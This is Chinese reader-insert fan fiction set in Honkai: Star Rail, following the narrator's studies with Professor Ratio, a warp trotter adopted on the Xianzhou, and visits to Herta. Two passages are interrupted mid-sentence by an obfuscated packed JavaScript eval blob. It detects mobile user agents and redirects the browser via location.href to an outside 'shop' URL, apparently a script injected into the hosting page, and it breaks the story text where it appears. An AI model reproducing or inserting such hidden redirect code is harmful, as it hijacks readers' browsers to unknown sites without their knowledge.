“你那个教授,对你到底怎么样?他为什么会和公司的人混在一起?”波提欧问。 事情很严肃,波提欧连公司都不骂了。“他是博识学会的,和公司有合作。教授对我挺好的。”你认真回答。 “是吗?”波提欧狐疑,“听到返校报到的时候,你那个表情可不是什么高兴的表情。” “哈哈。”你干笑两声,“你说,列车的资料室好睡吗?那只是一个缩影,足够代表学校和图书馆——只要回到学校,就能天天享受那么高的睡眠质量了,换成你,你开不开心?” 波提欧秒懂,但你此时已经拉着巡海游侠的披风,让他低头,情真意切地,“你会来劫我的,对吗?” 波提欧缓缓打出一个问号,“那是学校。” 学习知识的地方,不是什么监牢,也不是什么刑场。 你的精神状态逐渐美妙,“嗯嗯,我明白的呀。我在这边没有监护人,监护人就写你,到时候有什么家校联合活动,搞家长参观陪读,你也别想跑。” “能让你天天联系上我?”波提欧挑眉,向来都是巡海游侠巡猎别人,哪有让人抓巡海游侠的份,“我看要不这样,你写丹恒兄弟。” “丹恒年纪轻轻……”你有些抗拒,丹恒那样美丽的冷面小青龙,顶多给你当当兄弟又或是wife,当监护人着实还是差辈了一点。 “丹恒年纪轻轻,我看着年龄就大了?他们仙舟人,年龄是最看不出来的东西,你知道他有多大了?给你当当监护人怎么了?” 波提欧不满意,他又叮嘱你,“你去仙舟可得留心,被人骗了都不知道,还以为人家是孩子呢。” 波提欧、帕姆、丹恒,你在拟定自己的家长通讯,好让自己在这边能有一个能接电话的监护人,“这么说起来,我好像还没有手机。” 波提欧指了指口袋,“这么多设备,不是随便你用?” “那怎么能一样?我是普通遵纪守法公民!”你义正言辞,啪嗒啪嗒给砂金发消息,“砂金砂金,我没有手机!” 砂金回消息极快,你给拉帝奥的信息还没发出去,他的回复就到了,“买好了,这两天抽个时间,让那位巡海游侠顺便来拿一下?” “他还知道我是巡海游侠?!”波提欧显然对此显然有些不满。巡猎的箭矢追的是罪恶,可不是什么别的东西,他是利箭,不是用来取东西的史莱姆气球。 但是波提欧,你的pv用的完全是外卖的提示,外卖有个跑腿业务很正常吧? 你眨眼,这话你不好说。 波提欧跟着揉了一把你的碎发,“你的睡前故事,抵了。” “那不行,”你奋力抗议,“你弄乱我的发型,顶多给你抵这个,睡前故事得另算。” “知道了。草莓还是蓝莓?欠你的小蛋糕,赏金打过来可以给你买——当初还欠你一个,对吧?” 你连连点头,“你说的都对,所以我要樱桃的。” 6. 上课从仙舟抓猪开始 拉帝奥的教学计划很快发到了你的手机上。 你大为震撼——也没人跟你讲真理医生的上课内容从抓扑满开始啊? 你仔细回忆了一下招生简章,在拉帝奥的八个博士学位之间犹疑:扑满研究算生物学的还是算数学? 教授啊,你现在改学哲学还来得及吗?你眼泪汪汪,十分诚恳又安静地看着镜头。 “扑满的出没地点是?”拉帝奥忽然问。 这题你会,“雅利洛六号,仙舟罗浮,黑塔空间站,一般一个地图至少一只。” 拉帝奥颇有深意地看了你一眼,他也不问你哪来的资讯。 “收拾一下,我们明天就去抓扑满。” 你去抓扑满,很好理解。你需要亮晶晶的星琼,把它们攒起来,然后扔到卡池里。拉帝奥抓扑满…… 当然,你充分理解拉帝奥特立独行,并且相当自由。但如果只是要扑满的话——“实在不行咱们能不能跟托帕总监借两天?” 为什么要舍近求远?账账也是扑满。 拉帝奥叹气,“因为你要学的并不是催债、安保和精算。你要学的是如何迅速逃跑。” 毫无疑问,以账账的智能和水平,如果有专门为扑满开设的学堂,它拿到一个学位证也只是迟早的事。但在拉帝奥看来,这些对如今的你并没有什么太高的学习价值。 毕竟多一个学位和精算技能也不能避免你被巡海游侠直接带走。 啊??你猫猫宇宙.jpg 逃生从来不在拉帝奥的知识谱系上,他也从未开设过类似的选课内容。你沉浸在拉帝奥为你开天辟地创造学习内容的震撼里,犹豫了半晌,终于发觉有什么不太对劲:如果客观使用理性来分析,扑满能成功逃跑,有一个很重要的前提—— 星穹铁道毕竟是一个回合制游戏,除了硬控,在扑满自己的回合里,没有什么能打断扑满做题。 你想起扑满瑟瑟发抖埋头苦算的样子,迅速代入了你的学习对象:你也想像扑满一样逃跑了。 你急中生智,“呃,教授。我是说,就算我学会像扑满一样快速做题……我不被打断并且快速逃脱的概率是多少呢?” 就算如扑满一般成功逃脱,还有另外一个很重要的问题:扑满到底去了哪里。 众所周知,只要一个扑满疯跑成功,或者在战斗里成功逃生,几乎就没有人知道它的下落了。要想重新来过,只能重进地图,等它在规定的范围内刷新出来。 “得试试看。”真理医生扬眉,拉帝奥注视着你,第一次开口挑明,“你应该已经注意到了,这个世界的规则似乎不怎么适用于你。” 正常来讲,人类很难有学习扑满的先决条件。如果人人都能像次元扑满一样在宇宙里乱窜,公司的飞船和机甲将毫无用武之地。 但你不同。你的每一面都超乎拉帝奥的预期,也超乎他所积累的常识。梦中之人出现在眼前已经近乎荒谬,你的异常之处更是实打实的一点一点展现出来。未解的谜团如今活生生地站在屏幕对面。为学者的求知欲和好胜心逐渐被引发出来。 ——既然已经荒谬到了这个地步,全然依靠过往的经验和常识只会是自缚手脚。虽然即使还找不到相关的依据,拉帝奥依然可以根据你在他梦中的表现推测:你确实有改变空间的可能。 拉帝奥的眼睛闪闪发光。被他这样注视着,你实在不知道还要不要开始演,以及演到什么程度,毕竟他几乎是挑明了“这个世界”。 你是否可以相信维里塔斯·拉帝奥?你有些犹豫地注视着真理医生,回想起第一次在这个世界与他见面时,他递过来的那块小蛋糕。 毫无疑问,拉帝奥对你十分温柔,可他究竟为什么对你这么好? 真相同样是瞒不住的东西,在聪明的人面前,阻碍他们求真的屏障怕是比沾湿了的纸还要薄,轻轻一捻,就像云烟一样散去了。 ——作为《崩坏:星穹铁道》的玩家,你并非对这个世界一无所知。但这个世界与你的所知究竟重叠多少,你却始终无法得到印证。 你犹豫了一下,开口试探:“教授,如果我们去抓猪,啊不,扑满,我需要为你准备多少盒粉笔?” 粉笔?拉帝奥缓缓打出一个问号。 扑满不是黑板,通常来讲很难使用粉笔在扑满身上写字,也很难使用粉笔阻拦扑满逃跑。 如果是他去捕捉扑满,想必要让它们的速度变得极慢,并且确认它们无法从你们手中逃跑——在破译扑满的秘密,明确它们以何种方式,传送到什么地方之前。 他的目光隔着屏幕,与你的目光交汇:你是在认真发问,这并非是与谈话无关的问题。 “不用。”拉帝奥回答。打架并不是拉帝奥不得不品的一环,而以他的学识和智能,能用于应敌的东西向来只多不少:奇物、药剂,其他的发明,以及公司给合作者配备的、必要的安保。 这一点就与你的认知有出入了。和你不知道拉帝奥到底用什么打架一样,拉帝奥同样不知道你所认识的他,打架用的是铁打的三件套:粉笔、石塔、书。 “明天我会去接你。目的地的资料已经发到了你的设备上,你做好出行的准备就可以了。”拉帝奥说。 你惆怅,你泪眼汪汪地看着帕姆。 关爱临时乘客姑且也算在列车长的职能范围内,圆乎乎的帕姆抖了抖手感一看就超级好的大耳朵,一脸关切地看着你,“怎么了帕?是换了食谱没有吃好吗?在列车上待久了想家吗帕?” “多半是紧张,要不要喝点什么冷静一下?”人美心善的姬子开始给你冲调咖啡。 “咖啡应该起不到镇定的作用吧?”三月七凑过来安慰你,“有什么事情都可以跟咱说。反正咱们离得这么近……” 她忽然“嗷”了一声,“嗯,那也没什么,就算你不在列车上,咱们还有电话嘛。常联系啊。” 你埋着头,有点闷闷不乐。 有小蛋糕吃是幸福的,但换新环境实在太麻烦了。何况小蛋糕是砂金提供的小蛋糕,如今重返学校,食堂里还能有好吃的小蛋糕吗? 在人生地不熟的异世喜提升学,学费在哪里,导航在哪里,毕业证在哪里,未来又在哪里? “呜呜呜三月。”和波提欧的旅程纯属意外开启,当时的颠簸和危险程度也根本没有预留时间和空间给你告别和感伤,直到正常分别,你才又开始走正规流程。 “好想把你和丹恒也带去上学啊。”你语出惊人,“要是能把波提欧也带上那就更好了。” 有任何一个角色没有经历过校园生活你都会很伤心的。 没有过校园的人生是不完整的,你会有这样的想法,绝对不是因为你自己拥有足够漫长的校园经历,又在不知情的情况下喜提升学呢——自己读了太久的书,就想让别人也一起读书,你人还怪好的嘞! 丹恒开始思考。列车走南闯北,见过太多太多事情,他自然能看出一些蹊跷:波提欧把你往列车上塞,这很奇怪。拉帝奥告诉你要升学,你的反应也很奇怪。 每个人都有秘密,丹恒自己也是有秘密的人。尊重他人隐私是基础修养和基本礼貌,但开拓的精神和丹恒过于良好的道德素养还是催促他开口:“你们学校——在强迫学生升学?” 这显然有点匪夷所思。强迫学生升学对学校有什么好处呢? 尽管不明白原因,丹恒还是认真地看着你的眼睛,“如果当着那位教授的面,你不能说实话,现在你可以告诉我们,我们会帮你想办法。” 丹恒人真好。你深吸一口气,“我是自愿——跟着拉帝奥升学的……吧?” 这很难说。你只能说你是自愿去砂金那里吃小蛋糕的。升学这件事,对你来说实在是太突然了一点。实际上,在这个陌生又熟悉的世界,你还不曾真正做出自己的人生选择。 兵来将挡,水来土掩。本着这样的基础思路,你姑且能够应对星铁世界里若干突发事件,但如果问起你的决策和选择,或许还是稍微早了一点。 ——这世界与你理解的并不完全相同。 丹恒肃了脸色,冷面小青龙的脸看起来更冷了,如果是在夏天,想必能给列车多省下一些空调费,如果列车交空调费的话。 丹恒的眼睛看起来很是清冷,眼尾的红也遮不住这一点。但就是这双眼睛的主人,天生秉着一股正气——与早年间持明龙尊任性的传闻全然不同,丹恒不偏不倚,他审视任何人。 在列车上连吃带住这么些天,你自然能辨别出这淡淡的冷意并不是针对你。丹恒八成是误会了你的好教授真理医生——巡海游侠带你上列车的那两天,他对波提欧也是这个态度。 就好像他面对的并不是正义的巡海游侠,又或是什么身份地位其实相当了不得的人物。青年总是戒备又安静的审视,他权衡、思考,随时准备开口与对方对峙和交涉。 要怎么跟丹恒解释呢?虽然你不知道拉帝奥知道了多少,但你名义上的老师,维里塔斯·拉帝奥,是个真正的好人。 你确实对喜提升学一事迷茫无措,甚至会生出一些重拾校园生活的怨气。但那是在与你第一次见面就收敛锋芒,给你端果汁和小蛋糕的真理医生。 你无法解释这种感受。在这个陌生的世界里,拉帝奥是你见到的第一个熟人。而他展现出的温情与关爱,远远超出了你以往对他的认知。 而且或许不是你的错觉,在拉帝奥身边,你好像很安全。 拉帝奥是典型的希腊风格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496677|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美人。你对希腊的印象几乎停留在教科书上古希腊和文艺复兴时期的内容。隔着文化和时间,你对希腊审美所知甚少,也很难完全理解那种美感,但拉帝奥的美还在于他的眼睛。 ——视线是没有国界的。以目光为窗牖,足以窥见人灵魂的一角,即使语言不通,即使审美不同。 你很早就隔着屏幕见过拉帝奥,那目光锐利、冷峻,带着些压迫感,宛如掌握着一切,慢悠悠踱步向前的猎豹。可当屏幕消失,当你真正毫无阻隔地出现在他面前,与拉帝奥对视的时候,你见到的是极为温柔的大猫。 亲近,对你呈现出保护的姿态,好像下一秒就会叼着脖子,把你放在自己背上,带到他觉得安全的地方去。 仙舟入了秋,你裹着国风元素满满的漂亮小斗篷,跟在拉帝奥身后。 你们的飞船停泊在规定区域,有安保人员在那里值守。 你左手貘馍卷,右手鸣藕糕,拉帝奥手上还拎了两杯仙人快乐茶。 是不是有哪里不太对?逛了三个街区,你才后知后觉地意识到这一点:你们是来抓扑满的啊?按照经验,扑满应该出没在不适合人出现的危险区域。 “你先把鸣藕糕吃完。”拉帝奥提议。 不是没有见过怪东西,但仙舟的特色食物到底是太奇怪了一点。 就算你早就听过鸣藕糕的大名,也对这种食物有基础的了解,在这小玩意开始吱哇乱叫的时候,你还是被吓了一跳。 慌乱中你攥紧了拉帝奥的手臂。 胳膊突然被你抓住,拉帝奥也有些诧异。他看你慌乱之中带点委屈,于是扶住你,等你缓和下来。 你的脑海里像是跑过去了一群大跳草裙舞的猫。首先,仙舟的点心非常好吃。但退一万步来说,做东西好吃就能做出这种东西吗?食物在笑诶!如果有什么能为你提供查询功能,你一定现在立刻查询仙舟人的精神状态。 拉帝奥偏过头,观察你的情况——看起来不太好。本着求真务实的精神,他只思考了两秒,便取走了旁边那块鸣藕糕。 ……不是很聪明的食物。在鸣藕糕阳光开朗的笑声里,拉帝奥蹙眉一口一口吃下点心,递了一瓶快乐茶给你。 “压一压。”他说。 跨越世界的习俗果然也有相通之处,你曾经在家乡听过出门前喝水压一压的说法,虽然不明白到底压的是什么——是压食物还是压惊。 你咕嘟咕嘟开始灌自己奶茶,把惊吓和鸣藕糕阳光快乐却无比怪异的笑声统统压下去,然后无比敬佩地看着拉帝奥:真的勇士,敢于面对奇怪的笑声。 “抓扑满的时候不能吃这个。”拉帝奥总结,这食物的声音和警告也没什么区别,附近的扑满肯定有多远跑多远,“抓完再买也可以,你还想吃吗?” 你连连摇头。 “说到扑满,你前面问要不要给我带粉笔——为什么是粉笔?”拉帝奥自认对你有一定了解,他不会误解为你要在抓到扑满的现场,迫不及待地向他学习相关的理论知识。 来了。坦白局。 你仔细思忖了几秒。 实际上在听到拉帝奥说不需要粉笔的时候,你已经大概知道了答案。如果真理医生的战斗日常,完全基于星穹铁道的技能模块,那么应该在他听到粉笔的时候,他就能意识到你在说什么。 可拉帝奥问你为什么。 这个问题倒是不难解释,但未免有些超越本世界的理性和逻辑。 你斟酌着,努力组织语言,“教授,您平时看幻想故事吗?” 两次试探足够作为提示,拉帝奥沉吟片刻,“你不会是想说,世界上同样有一个我——也可能只是你所知道的我,会使用粉笔来捕捉扑满?” 这几乎就是真相了,你立刻点头,“其实是和敌人打架。” “把粉笔扔出去御敌?”拉帝奥挑眉,“粉笔只有这么大一点。” “是很巨大的粉笔,”你用肢体动作跟拉帝奥笔画,“零分!然后biu的一下扔过去。” “粉笔、评分……按照你的意思,‘我’把对面当成了学生。”拉帝奥跟着设想了一下,然后摇摇头。 “我没有朝学生扔粉笔头的习惯,更别说成根的粉笔。如果上课需要那样才能集中精神,只能说明课堂效率低下。简单来说,就是不合适——学生和课堂,学生和老师,总有一个是不合适的。强行吸引学生的注意,也只是在浪费彼此的时间罢了。” “教具应该放在合适的位置。”拉帝奥说,他颇为温和地注视着你,“粉笔的用途是书写文字和图案,让它们承载知识。这一点我可以向你保证:我完全拥有教师应有的道德水准,也基本遵循行为规范。成为我的学生,向来不需要承担此类风险。” 7. 扑满选择向你讨食 拉帝奥的教学成果相当显著。你相信除了一心因材施教的真理医生,没有谁会在开学前喜提这么一只圆滚滚的宠物,还是真理亲手带你去抓的。 你本来没打算养的。如今战斗力不在手边的你,遇到扑满这么个猪猪存钱罐,很难不痛心疾首一下——虽然猪是很可爱没错,但你失去的可是60星琼啊! 你垂着头闷闷不乐。拉帝奥不由得开始思考原因:明明看他抓扑满的时候你还很高兴。 热羊奶是甜滋滋的,冷了却会发苦。鸣藕糕会尖叫,这些后面你不想吃的东西,统统进了扑满的肚子,难道是因为这个? 当然不是因为这个,而是因为它是一只次元扑满,次元扑满在前,你却痛失60星琼,你悲伤的心情难以跟教授形容,他怎么能懂呢?除非他和你一样玩抽卡游戏,并且热爱抽卡。砂金就更不会懂了,他肯定同时是欧皇+氪佬。 在你沉默的30秒里,拉帝奥飞速思考了他连日恶补的所有育儿书籍,排演你如果闹起来,需要准备什么预备方案: 把吃的从扑满那里要回来显然不怎么具备可行性,买一份倒是很方便,但是如果你非要扑满吃了的那一份——就算能从扑满嘴里原样拿出来,扑满吃过的东西他应该同意给你吃吗? 不对吧,怎么说都不对吧?因为双方都不具备读心技能,所以你们产生了一些微妙的误解,显然你很能搞事并且已经是大孩子了,并没有教授以为的那么弱小可怜又无助。 你只是有点像在新环境里来回切换的小猫,因为不够熟悉,尚且不清楚要以什么方式大展身手。而究竟是不是真的很乖乖,只有等你真正放开了才会完全展现出来。 更何况,以普遍理性来论,又有什么儿童,能真正进入拉帝奥的课堂呢? 但育儿书籍却永不过时——打压、违逆儿童天性的除外。万物都有新生之时,儿时的所见、所闻、所感、所需,至关重要,但不意味着此后的见闻感知就不再重要。正是这一切,构成了万物周边的环境,连同万物自己,一同影响着他们,塑造着他们。 需求更是如此,孩子的需求需要发现,大孩子的也是一样。 只要弄清楚你真正需要什么,就能很好地照顾你。 拉帝奥此前就拥有八个博士学位,教育学和儿童心理学却不在其中。作为真理医生,想要医治顽固的愚钝,最快的方法自然是一针见血,毫不留情。但是作为老师,特别是作为你的老师,就要再仔细斟酌斟酌。 知识固然重要,更重要的却是人。游鱼一般的拉帝奥从知识的海洋中抽身,细细到岸边观察你。并不是毫无规律可言,什么时候你会眉飞色舞,什么时候你会闷闷不乐,将这些简易的收集起来,加以分析,就是一本相处手册——直观又直白。 环境会规训人,所谓成熟的、成年的人,不应当也不可拥有的一切,尚未从你这里全然抹去,像画卷上的色彩,生动、流畅、清晰。这大大减少了拉帝奥的观测难度。于是他认真地观察你,在每一个你留意到和没注意到的瞬间。 ……也没什么不好。 “你不喜欢扑满?”拉帝奥问。 “倒也没有。”你沉吟一番,如果拉帝奥看到你隔着屏幕追扑满的样子,他可能就不会问出这个问题,次元扑满哪里都好,他们唯一的问题是跑得太快了。 来抓扑满倒是很开心,有一种追扑满时的快乐,可接下来的发展却不在你熟悉的范畴——你追次元扑满时的选项绝不包括跟他们坐下来好好谈谈,拿它们当朋友和宠物,当然学习扑满如何打开传送逃跑,那就更不在你的技能范围内了。 ——以前当玩家的时候,你只需要快速开战,什么时候需要学扑满逃跑?充足的武备通常会在这个时候发挥作用,在这个时候,你往往掏出你拉满行迹和光锥的饮月·丹恒,刃,或者武德充沛的任意一位。 有人曾经如此总结,“一切恐惧都是源于火力不足。”依你看火力虽然不能解决全部的问题,但显然也很有用,如果你还是很能打的话,岂不是就不用学扑满蹦公式了吗? 你想想三个回合内必算完答案的扑满,一时间有些头大——三个回合内必逃生,和扑满的算术水平恐怕没有什么关系,这完全是他们在回合制中自带的buff吧? 打破回合制很简单——不进入回合制就行。一个小时前,你看着拉帝奥拉网的动作目瞪口呆,人类的特点是擅长和使用工具,教授他布置好了干扰扑满信号的设备,稳稳地把小猪围困在巷子里。周围游荡着丰饶民,但他们纷纷避过了你们。 你的心如擂鼓,心跳的声音连自己都清晰可见,拉帝奥让你走在自己身侧,他的手臂虚虚环着你。 怪刺激的,刺激中又有点新奇——大概不是所有仙舟访客都能体验这样的惊险吧?这感觉和被波提欧背着跑的时候有点相似,但是那个时候你受到了太过剧烈的冲击,没有什么心思欣赏这种体验,现在却有了余裕,甚至来之前还吃了仙舟特产小点心。 你其实很想问教授他什么时候偷偷学了持明龙族的云吟术。虽然拉帝奥显然不是持明,但是这种在敌人后花园漫步的感觉几乎是立刻让你想到了持明——当然,过剧情的时候,你们是被隐身行刺的一方。 接下来,只需要很从容地出现在扑满面前。扑满在小巷里转圈圈,在没有进入战斗的时候,小扑满遵循本能放肆奔跑,直到把自己完全绕晕过去。 你看着蚊香眼晕在地上开始装死的扑满,欲言又止有茅塞顿开——原来大家完全可以不走回合制啊? 扑满装死的技能不能说是一般,必须说是出神入化。拉帝奥和你静静看着扑满表演,这是容易逃脱的小动物,鉴于你要学习的就是扑满如何逃脱,拉帝奥决定让你先看一次扑满演示,反正他还有后手。 你和拉帝奥注视着扑满,扑满仿佛身在匹诺康尼,歪着脑袋进入了梦乡,它一动不动。 鸣藕糕不能吃,热浮羊奶总该趁热喝吧?你犹豫地掏出一瓶热浮羊奶,准备吨吨吨。 说时迟那时快,只见躺在地上的扑满动了动鼻子,一个转身就向你滚了过来,它努力支起身体,朝你“哼哼”起来。 首先,你不是兽医。 无心插柳柳成荫。师傅你妙手回春,仅靠一瓶热浮羊奶让扑满“起死回生”。 不对吧,哪里都不对吧?你茫然地看着拉帝奥。扑满似乎是一种存钱罐,虽然你大概率不会把你的积蓄交给扑满,但是吃进去的多少也应该是金属才对吧? 扑满趴在地上,愉快地喝着你倒在鸣藕糕盒子里面的“盒盒奶”,这种甜蜜的羊奶似乎让它很是愉悦。你迟疑着十分要纠正它的食谱,就听到扑满委屈巴巴地哼哼起来。 ——它就要吃这个。 无意打乱了拉帝奥的安排,又无意中改动了扑满的食谱,此刻你的心情有一点点微妙。 希望猪没事。如果不行,那就希望你不会被扑满保护协会找麻烦——不过教授都准备抓扑满回去辅助教学了,应该没问题吧? 你看着拉帝奥,眼神里有些不安和克制,像是犯了什么错误、正在不安的孩子。 拉帝奥自然没有什么带孩子的经验,大概也没有什么人会把孩子交给维里塔斯·拉帝奥来带。为他冷峻、理性、严肃又认真,也为了大部分人其实不敢这样麻烦他。 但是,拉帝奥垂眼。但你毕竟不是真正的幼崽,如果你是,大概也是极为乖巧的类型。 和孩子讲理性和逻辑,显然不太适用,但你刚好不是那样的年纪。 只是这样注视着你,拉帝奥心口一块最为柔软的地方,无端地陷落下去——陷的不多,柔软又富有弹性,像铺满了羽毛,可以供你打滚的大床,刚刚好把你兜住。 “怎么了?”拉帝奥问。 不过是半瓶热浮羊奶的时间,你刚刚从教授那里得知这并不会对扑满的身体健康造成什么影响,在这短短的时间里,扑满已经喝完了羊奶,满怀期待地看着你——它好像一个小狗诶。 扑满不跑了。它试探地在你们脚边来回走,青年高大,气质又有些清冷,一双金色眼睛闪亮亮地注视着它。 扑满小幅度抖了抖身子,最后确定了撒娇对象,它开始绕着你表示亲近。 也没人告诉你野生扑满也会自我驯化啊? 你迟疑地、心情复杂地看了拉帝奥一眼,拉帝奥点头。 确认了摸次元扑满没有什么需要承担,你试探地把手伸向次元扑满。拉帝奥也蹲下身子,他做好准备随时让这只次元扑满在危险动作的边缘刹车。 扑满挺大一只,有点像大型但圆滚滚的猫。察觉到你犹豫着把手悬停在它头顶,它踮了踮脚,主动贴上了你的手。 ……不得不说的是,扑满确实有点好摸。不就是半瓶热浮羊奶嘛!你飞速原谅了它,但是让你多摸两下,不过分吧?它邀请你摸诶!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496678|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 会撒娇的小猪有好吃的。你和拉帝奥带着扑满满载而归,扑满甚至没有受到任何限制。 在拉帝奥的计划里,你们或许要有一个驯服收养扑满的过程,如果扑满拥有更高智慧的话,说服也可以——就是没有一种可能,扑满是自觉自愿跟着你们回来的。 它甚至不愿意走。 在回公司的路上,你垂眼看着扑满,有些闷闷不乐。 你是摸到了扑满没错,但是你也失去了60星琼啊! 扑满小心翼翼,他在你脚边来回游走,但很有技巧,它圆滚滚的身体并没有压到你的脚背上。 坦白来说,让你自己选,你是不会要养次元扑满的,这毕竟是一个生命,担负起照顾它的负责,对现在的你来说,实在是难了一点,最合理的还是作为教学资料,由拉帝奥来抚养,啊不,养着。 但架不住次元扑满非要让你养。 虽然严格来看,让你养和让拉帝奥养也没有什么区别:都是拉帝奥出钱。 ——你的账号上是有很多信用点没错,可你也没看到使用界面啊? 从你真正来到星铁世界开始,你就看不到你的信用点了。于是你从一个很有信用点的人,变成了一个很有信用的人。 拉帝奥对此倒是没有什么意见,总归次元扑满不会突然出现在他摆着小黄鸭的浴缸里,而且看它这样子,至少饮食上不会很挑剔,饲养难度其实不算高,对没养过扑满的新人来说也算友好。 你有些为难地看着扑满。 严格来说,此地并没有你的住宅。但你的落脚之处却并不少:星穹列车、砂金的待客间、教授的办公室。 不合适吧?放在谁那里养都不太合适吧?你再养上宠物,岂不是要给大家再添一层麻烦吗? “我有一个主意。”看着啪嗒啪嗒在你脚边转的扑满,砂金开口了,“如果你不介意的话,也可以考虑和公司共享这只扑满。” 共享单猪!你睁大了眼睛。 “如果它并不排斥与人接触,相信在休息的时候,很多人都会愿意投喂它的。”砂金点头。 砂金也不是第一次听到大家想养宠物的呼声。但身为公司人,一天中大部分的时间都会在公司度过,被放在家里的宠物,不太能得到足够的陪伴和照料,未免有些可怜。 砂金自己就会选择养一些猫猫糕,安静,不挑食,并且他们自己就可以玩起来。偶尔逗一逗他们,会让他的心情也放松起来。 像账账那样能跟着工作的动物朋友毕竟是少数,托帕工作就能带着账账,无聊的时候还能摸着小猪解压,这简直羡煞旁人。砂金垂眼看着扑满,若有所思,“你是否能保证不啃咬数据线,不踩电源,不拉电闸,当一个有道德的好扑满?” “哼唧。”扑满点头。 在翡翠女士的契约上,扑满乖乖按上了自己的爪印。 “乖孩子。”翡翠摸了摸次元扑满,她的手和声音有一点凉,“你会做个好孩子的,对吧?” “如果不乖的话,我也会帮忙管束你哦?” “小家伙还挺可爱,叫什么名字呀。”托帕摸了摸次元扑满的头。 “没起。但是如果你不介意的话,也可以叫它‘涨涨’。”你端出一盘菜,扑满展示出高超的干饭技巧——除了盘子,几乎是以某种堪称优雅但又风卷残云的速度吃了个干净。 你手法温柔地rua了一下它的肚子,展示给托帕看,“看,肚肚涨涨。” “还挺有意思。”托帕笑了,“账账在托管区玩,没跟着我过来。它要是听到,非要跟你闹情绪不可。” 你点头表示理解,小猪也有自己的性格和脾气,何况是账账这种非常聪明的小猪,当然是不能让它听到啦! “这当然是玩笑话。”你严肃了几分,“毕竟严格来说,它并不是我的宠物。” 扑满只是蹭吃蹭喝蹭照顾。你不曾驯养它,是它碰瓷你。 你有些发愁地瞅着次元扑满。 “小小年纪,怎么这副表情?”托帕用另一只手摸了摸你的头。 很温柔的动作。你不禁有些放松下来,却恍惚间认识到,你正跟扑满一个待遇——这是正常的吗? 托帕有什么不知道的,看着你发呆的表情,她又笑了。 你诚恳地注视着托帕,忽然倾吐心事,“你说,如果我和扑满一起听拉帝奥教授的课,谁能先成功逃出去?” 8. 帮帮你,拉帝奥教授! 筹码在砂金指尖翻飞。 你饶有兴致地盯着看了半天,最后凑近砂金,长叹了一声。 “怎么,有心事了?”砂金倾身过来,他小声问你。 你一脸复杂,重重点了点头。 砂金了然,“在拉帝奥手下求学求生,有点心事也是人之常情。” “哦?”拉帝奥一手一杯果汁,话音里夹霜带雪,“我要是说,当初就是砂金总监向我建议让你深造呢?” 他借着递果汁的功夫,让砂金彻底退开。 “太近了。”拉帝奥非常自然地把另一杯果汁放在自己的位置上,这才淡淡点评。 “空间站的坐标是……”你仰头望着天花板,仿佛整个人被彻底抽空了力气。 “行了,也不在这一会儿功夫。学习要劳逸结合。”拉帝奥放轻声音,他其实不太理解为什么黑塔能给你那么大的学习压力,“你是去模拟宇宙,不是去考试,黑塔又不给你打分,还是说,你想把毕业实习定在她那里?” “一入学就开始准备毕业实习啊?”砂金嘶了一声,“你们学校都这样吗?” “倒也不是毕业实习啦。”你愁眉苦脸,“黑塔女士非常关心我的学习进度。” 被一位魔女如此关心着学业,你自然不敢懈怠。 “……我说拉帝奥,既然结果都是计算坐标,又何必浪费那个计算的功夫?既然只是做扑满研究,直接知道结果不也一样?”那时大黑塔扬了扬下巴,她又问你,“你呢?喜欢算题还是喜欢背书?——听你的描述,扑满穿梭和开拓信标的原理也没什么本质的不同。你倒不妨试试,空间站的坐标我可以直接给你,你就直接来我办公室吧。” 你其实对此不抱什么希望。本来就应该给你使用的,其实只有开拓信标——作为玩家兼开拓者,你使用开拓信标堪称天经地义,但游戏系统不在手,就连这点最基础的传送也变得格外困难,更别说学扑满走黑洞传送。 其荒谬程度简直堪比有人忽然找你说:嗨,你醒啦,虽然你当了这么多年的人,其实你最擅长使用的还是史莱姆技能哦! “哦——”大黑塔拖长语调,她忽然凑近你,“不会是不敢试吧?失败了也不要紧,我再给你想想办法。但,如果你是个勇敢的孩子,我会在我的办公室里见到你的,对吗?” 天才总是有天才的自信。带着三分跃跃欲试,三分乖巧,三分叛逆和一分忐忑,你开始冥想。虽然不知道原理是什么,但既然黑塔这么说了,你就姑且试一下。最多也就是你失败了,然后再让她想办法。 拜托了,黑塔办公室坐标! “真诚一点,迫切一点。”黑塔在旁边提建议,“如果你诚心诚意想要来见我,结果可能会有不同。” 结果嘛—— “砂金,我现在强得可怕。”你握住砂金的手,一脸真诚,“我甚至可以免票入场匹诺康尼——如果我知道他们的坐标。” “就这样,认真地想着坐标,然后xiu一下,我就能到黑塔办公室了。”你摩拳擦掌,恨不得给砂金演示一遍。 “真厉害。”砂金被你逗乐了,“不过从教授手里抢人可不容易,要是再加上那位黑塔女士——要不还是改天再欣赏你的新技能?” 他推给你一碟黑森林樱桃蛋糕,饱满多汁的小樱桃随着砂金的动作在奶油上轻轻摇晃,似乎在彰显自己的存在感。 “你倒是了解她的喜好。但你弄错了一点,你不是在和我抢人——她如今泡在黑塔办公室的时间,可比别的时间多多了。”拉帝奥点评。 黑塔显然对你颇有兴趣,她同时对你和扑满进行教学,兴致来了拉着你浅炸一个厨房,再揉乱你的头发,把你送还给拉帝奥。 大黑塔把次元扑满当宠物精灵,这你并不意外,但她为什么看你也一副看宝x梦的表情啊?你不是奇物,也不会pika pika地放电。话虽如此,想到了你游常驻的重要模块——模拟宇宙,你又支棱起来了。黑塔给的实在太多了! 